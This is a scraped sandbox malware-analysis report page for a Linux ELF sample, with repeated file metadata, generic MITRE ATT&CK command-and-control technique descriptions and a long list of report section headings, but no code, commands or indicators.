Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

Start time (UTC):	21:16:43
Start date (UTC):	03/12/2024
Path:	/tmp/x86_64.elf
Arguments:	-
File size:	68352 bytes
MD5 hash:	88660446811d50c52341472f9b03d870

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report x86_64.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

DNS Answers

HTTP Packets

System Behavior

Analysis Process: x86_64.elf PID: 6216, Parent PID: 6132

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6217, Parent PID: 6216

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6218, Parent PID: 6217

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6219, Parent PID: 6217

General

Chronological Activities

Analysis Process: x86_64.elf PID: 6220, Parent PID: 6217

General

Linux Analysis Report
x86_64.elf